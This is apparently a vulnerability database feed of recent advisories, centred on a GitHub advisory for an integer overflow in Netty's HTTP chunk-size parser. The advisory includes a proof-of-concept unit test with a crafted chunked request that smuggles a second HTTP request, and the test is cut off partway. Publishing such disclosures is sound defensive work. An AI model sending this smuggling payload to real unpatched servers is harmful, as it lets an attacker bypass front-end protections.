Most recent entries from all

bdu:2026-09279

certfr-2026-avi-0810 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan…

certfr-2026-avi-0810

Withdrawn: CLEANSTART-2026-BK55944 — Security fixes for CVE-2025-59250, CVE-2026-0636, CVE-2026-33870, CVE-2026-33871, CVE-2026-39852, CVE-2026-41417, CVE-2…

Withdrawn by the publisher.

Affected: CleanStart: keycloak

Multiple security vulnerabilities affect the keycloak package. These issues are resolved in later releases. See references for individual vulnerability details.

EUVD-2026-318584

fkie_cve-2026-42580

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

GHSA-m4cv-j2px-7723 — Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

Affected: Maven: io.netty:netty-codec-http

### Summary Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

### Details io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16; result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "100000004\r\n" + "test\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); HttpContent content = channel.readInbound(); assertTrue(content.decoderResult().isSuccess()); assertEquals("test", content.content().toString(CharsetUtil.US_ASCII)); content.release(); LastHttpContent last = channel.readInbound();…

openSUSE-SU-2026:10795-1 — netty-4.1.133-1.1 on GA media

netty-4.1.133-1.1 on GA media

UBUNTU-CVE-2026-42580

Affected: Ubuntu:Pro:14.04:LTS: netty, Ubuntu:Pro:16.04:LTS: netty, Ubuntu:Pro:18.04:LTS: netty, Ubuntu:Pro:20.04:LTS: netty, Ubuntu:Pro:22.04:LTS: netty, Ubuntu:Pro:24.04:LTS: netty, Ubuntu:25.10: netty, Ubuntu:Pro:26.04:LTS: netty

WID-SEC-W-2026-1372 — Netty: Mehrere Schwachstellen

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.